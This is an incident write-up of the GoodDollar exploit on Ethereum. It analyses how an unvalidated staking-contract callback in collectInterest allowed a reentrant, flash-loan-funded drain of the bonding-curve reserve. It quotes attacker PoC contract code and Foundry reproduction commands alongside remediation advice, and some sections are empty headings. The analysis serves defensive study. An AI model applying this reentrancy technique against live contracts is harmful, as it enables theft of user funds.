GoodDollar Exploit — Unvalidated `collectInterest` Staking-Contract Callback → Reentrant Bonding-Curve Drain

Source & credit. Exploit reproduction, trace data, and analysis adapted from DeFiHackLabs by SunWeb3Sec — an open registry of reproduced on-chain exploits. Standalone Foundry PoC and full write-up: 2023-12-GoodDollar_exp in the evm-hack-registry mirror. Upstream DeFiHackLabs PoC: src/test/…/GoodDollar_exp.sol.

Vulnerability classes: vuln/input-validation/missing · vuln/reentrancy/cross-contract

Reproduction: the PoC compiles & runs in an isolated Foundry project at this project folder (the umbrella DeFiHackLabs repo does not whole-compile, so this PoC was extracted). Full verbose trace: output.txt. Verified vulnerable source: GoodFundManager.collectInterest.

Key info#

TL;DR#

GoodDollar's GoodFundManager.collectInterest(address[] _stakingContracts, bool _forceAndWaiverRewards) is a permissionless keeper function that loops over a caller-supplied array of "staking contracts" and calls collectUBIInterest(reserve) on each one (GoodFundManager.sol:241-248). It never checks that those addresses are actually registered staking contracts — unlike the sibling mintReward() function, which does require staking.blockStart > 0 (GoodFundManager.sol:364-376).

This hands the attacker an arbitrary external call in the middle of the reserve's most sensitive accounting window. The attacker passes its own MaliciousStakingContract as the "staking contract." When collectInterest calls back into collectUBIInterest, the attacker reentrantly buys G$ off the Bancor bonding curve (PoC collectUBIInterest). Right after the callback returns, collectInterest calls mintUBI(), which mints "interest + expansion" G$ to the distribution helper and advances the bonding-curve supply/reserve-ratio — (GoodReserveCDai.mintUBI).

By repeatedly entering this window (two deposit() iterations), the attacker accumulates a large G$ position bought cheaply before the curve was re-priced, then sells it all back in one shot for far more cDAI than it paid. The whole sequence is funded by a Balancer WETH flash loan → Compound borrow of the entire cDAI cash, so the attacker walks away with 625,140 DAI and 10.2 billion G$ for zero net capital.

Background — what GoodDollar does#

GoodDollar (G$) is a UBI token. Its monetary core is a Bancor bonding curve held by three cooperating contracts:

• GoodReserveCDai (a.k.a. "GDX" / RESERVE) — holds the reserve token (cDAI) and mints/burns G$. Users buy(cDAI → G$) and sell(G$ → cDAI) against the curve (GoodReserveCDai.sol:185-309).
• GoodMarketMaker — the Bancor math: it stores (gdSupply, reserveSupply, reserveRatio) per reserve token and prices buys/sells via calculatePurchaseReturn / calculateSaleReturn (GoodMarketMaker.sol:232-328).
• GoodFundManager — the keeper hub. collectInterest() is supposed to pull accrued interest from the protocol's registered staking contracts into the reserve, then mintUBI() mints new G$ to fund UBI while keeping the curve price constant (GoodFundManager.sol:221-300).

The "keep price constant after minting interest" logic is the economically dangerous part: every time mintUBI() runs it mints gdInterestToMint + gdExpansionToMint G$ and bumps the curve's gdSupply without a corresponding reserve change of equal proportion. Anyone who can decide when that minting happens — and trade around it — extracts the difference.

On-chain Bancor state read from the trace at the start of the attack (first calculatePurchaseReturn):

The vulnerable code#

1. collectInterest calls back into a caller-supplied address with no registration check#

// GoodFundManager.sol
function collectInterest(
    address[] calldata _stakingContracts,        // ⚠️ caller controls this array
    bool _forceAndWaiverRewards
) external {                                      // ⚠️ no access control
    ...
    reserveAddress = nameService.getAddress("RESERVE");
    uint256 currentBalance      = daiToken.balanceOf(reserveAddress);
    uint256 startingCDAIBalance = iToken.balanceOf(reserveAddress);   // snapshot BEFORE callback
    for (uint256 i = _stakingContracts.length; i > 0; i--) {
        if (_stakingContracts[i - 1] != address(0x0)) {
            IGoodStaking(_stakingContracts[i - 1]).collectUBIInterest( // ⚠️ arbitrary external call
                reserveAddress
            );
        }
    }
    // Mints G$ based on whatever cDAI showed up during the callbacks
    (gdUBI, interestInCdai) = GoodReserveCDai(reserveAddress).mintUBI(
        daiToConvert,
        startingCDAIBalance,
        iToken
    );
    ...
}

GoodFundManager.sol:221-300. There is no require(rewardsForStakingContract[addr].blockStart > 0) guard here — compare the registration check that mintReward() does enforce at GoodFundManager.sol:364-376:

function mintReward(address _token, address _user) public {
    UserInfo memory userInfo = contractToUsers[msg.sender];
    Reward memory staking = rewardsForStakingContract[msg.sender];
    require(staking.blockStart > 0, "Staking contract not registered");   // ✅ guard present here…
    ...
}

…but absent in collectInterest. The attacker simply lists its own contract:

// PoC MaliciousStakingContract
function deposit() external {
    address[] memory _stakingContracts = new address[](https://github.com/sanbir/evm-hack-registry/tree/main/2023-12-GoodDollar_exp/1);
    _stakingContracts[0] = address(this);          // ⚠️ "I am a staking contract"
    GoodFundManager.collectInterest(_stakingContracts, true);   // _forceAndWaiverRewards = true
    GoodDollarToken.approve(address(GDX), type(uint256).max);
    GDX.sell(GoodDollarToken.balanceOf(address(this)), 1, address(this), address(this));
}

// Callback fired by collectInterest — reentrancy point
function collectUBIInterest(address _recipient) external returns (uint256, uint256, uint256) {
    cDAI.approve(address(GDX), type(uint256).max);
    GDX.buy(cDAI.balanceOf(address(this)), 1, address(this));   // ⚠️ buy G$ at the stale curve
    return (0, 0, 0);
}

test/GoodDollar_exp.sol:151-173.

2. mintUBI inflates gdSupply (and re-prices the curve) right after the callback#

// GoodReserveCDai.sol
function mintUBI(uint256 _daiToConvert, uint256 _startingCDAIBalance, ERC20 _interestToken)
    external returns (uint256, uint256)
{
    cERC20(cDaiAddress).mint(_daiToConvert);
    uint256 interestInCdai = _interestToken.balanceOf(address(this)) - _startingCDAIBalance;
    uint256 gdInterestToMint  = getMarketMaker().mintInterest(_interestToken, interestInCdai);
    uint256 gdExpansionToMint = getMarketMaker().mintExpansion(_interestToken);   // ⚠️ mints G$, grows supply
    ...
    _mintGoodDollars(address(distributionHelper), gdInterestToMint + gdExpansionToMint, false);
    ...
}

GoodReserveCDai.sol:365-398.

mintInterest / mintExpansion add to gdSupply without buying it with reserve, which is exactly what the attacker positioned itself to profit from:

// GoodMarketMaker.sol
function mintInterest(ERC20 _token, uint256 _addTokenSupply) public returns (uint256) {
    ...
    uint256 toMint = calculateMintInterest(_token, _addTokenSupply);
    reserveToken.gdSupply     += toMint;          // supply grows
    reserveToken.reserveSupply += _addTokenSupply;
    return toMint;
}
function mintExpansion(ERC20 _token) public returns (uint256) {
    ...
    uint256 toMint = calculateMintExpansion(_token);
    reserveTokens[address(_token)].gdSupply += toMint;   // supply grows again
    expandReserveRatio(_token);                          // reserveRatio decays daily
    return toMint;
}

GoodMarketMaker.sol:358-411.

Root cause — why it was possible#

collectInterest was written under the assumption that the _stakingContracts it iterates are trusted, pre-registered GoodDollar staking contracts whose collectUBIInterest only transfers genuine accrued interest into the reserve. That assumption is never enforced:

1. No caller authorization. collectInterest is external with no role gate — by design it is a permissionless keeper entry point.
2. No element validation. The function trusts the caller-supplied _stakingContracts[] verbatim. There is no rewardsForStakingContract[addr].blockStart > 0 (or activeContracts membership) check — the very check that exists in mintReward. So any address can be presented as a staking contract, and IGoodStaking(addr).collectUBIInterest(reserve) becomes an attacker-controlled external call.
3. Sensitive state mutated around an untrusted call. The callback runs between the startingCDAIBalance snapshot and the mintUBI re-pricing. Inside the callback the attacker freely trades the Bancor curve (GDX.buy), and GDX.buy/GDX.sell carry no reentrancy guard of their own (GoodReserveCDai.sol:185-309).
4. UBI minting expands supply without proportionally adding reserve. mintInterest + mintExpansion mint fresh G$ and decay the reserve ratio on a lastExpansion/daily cadence (GoodMarketMaker.sol:144-159). By controlling when that expansion fires and trading immediately before/after it, the attacker buys G$ at one curve and redeems it at a richer one.

Put together: a permissionless function + unvalidated callback target + no reentrancy protection on the curve + supply-inflating UBI mint compose into a reserve drain. The single missing line — validating that each _stakingContracts[i] is registered — is the root cause.

Preconditions#

• The Bancor reserve (GoodReserveCDai) holds meaningful cDAI and the curve is mintable (it was, with gdSupply ≈ 6.38e9 and reserveRatio ≈ 53.35%).
• collectInterest is callable by anyone with _forceAndWaiverRewards = true (the attacker waives keeper gas rewards so the interestInCdai >= gas costs require is skipped — GoodFundManager.sol:264-288).
• Working capital to (a) borrow the entire cDAI cash on Compound and (b) buy G$ on the curve. All of it is obtained intra-transaction: a Balancer WETH flash loan → cETH.mint collateral → cDAI.borrow of the full cash → cDAI.mint to get cDAI → GDX.buy. Hence the attack needs no upfront capital.

Step-by-step attack walkthrough (with on-chain numbers from the trace)#

All figures are taken directly from the BalancesUpdated / TokenPurchased / TokenSold events in output.txt. cDAI amounts are 8-decimal; G$ amounts are 2-decimal.

After unwind, the attacker contract is left holding 625,140.228892 DAI and 10,213,394,832.90 G$ (1,021,339,483,290 in 2-decimal units) — balance logs L1566-L1567.

Profit / loss accounting#

The DAI surplus is the cDAI the attacker dragged out of the reserve (step 7) minus what was needed to unwind the Compound loan; the residual 10.2B G$ is the leftover minted/bought G$ not yet sold.

Diagrams#

Sequence of the attack#

Bonding-curve state evolution#

The flaw inside collectInterest#

Remediation#

1. Validate every _stakingContracts[i] against the registry. In collectInterest, before calling collectUBIInterest, require rewardsForStakingContract[addr].blockStart > 0 (or check activeContracts membership) — the exact guard mintReward already enforces. This single check makes the attacker-controlled callback impossible.
2. Add a reentrancy guard around the reserve's curve operations. GoodReserveCDai.buy/sell and GoodFundManager.collectInterest should share a nonReentrant modifier (the contract already imports ReentrancyGuardUpgradeable) so no externally-triggered callback can trade the curve mid-accounting.
3. Snapshot-and-verify interest, do not trust transferred balances. collectInterest infers interest from the reserve's cDAI balance delta produced by the callback. Compute expected interest from each registered staking contract's currentGains() and reject deltas that do not match, so a malicious "staking contract" cannot manufacture state changes.
4. Re-order so UBI minting cannot be sandwiched. Perform all supply-inflating mintUBI/mintExpansion accounting atomically and only for validated contracts, with no untrusted external call in between.
5. Restrict who can trigger expansion timing. Because mintExpansion decays the reserve ratio on a daily cadence, gate the keeper path to trusted keepers or enforce that a single transaction cannot both trigger the expansion and trade around it.

How to reproduce#

The PoC was extracted into a standalone Foundry project (the umbrella DeFiHackLabs repo does not whole-compile under forge test):

_shared/run_poc.sh 2023-12-GoodDollar_exp -vvvvv

• RPC: a mainnet archive endpoint is required (fork block 18,802,014). foundry.toml is pre-configured with an Infura archive endpoint.
• Result: [PASS] testExploit().

Expected tail:

  Exploiter DAI balance before attack: 0.000000000000000000
  Exploiter GoodDollarToken balance before attack: 0.00
  Exploiter DAI balance after attack: 625140.228892298970966692
  Exploiter GoodDollarToken balance after attack: 10213394832.90
Suite result: ok. 1 passed; 0 failed; 0 skipped

References: MetaSec analysis — https://twitter.com/MetaSec_xyz/status/1736428284756607386 · BlockSec Explorer tx 0x726459a46839c915ee2fb3d8de7f986e3c7391c605b7a622112161a84c7384d0 (~$2M, GoodDollar, Ethereum).

Sources & further analysis#

Reproductions & code

• Standalone PoC + full trace: 2023-12-GoodDollar_exp (evm-hack-registry mirror).
• Upstream DeFiHackLabs PoC: GoodDollar_exp.sol.
• Attack transaction: view on explorer.

Alerts & third-party analyses

• Original alert / thread: post on X.
• DeFiHackLabs incident explorer: search "GoodDollar Exploit".
• Web3Sec X hacked database: search.
• Rekt leaderboard: search.
• Solodit incident search: search.

These dashboards index community alerts tweets, post-mortems, and independent write-ups. Reach them through the protocol name above to cross-check this reproduction against other analyses.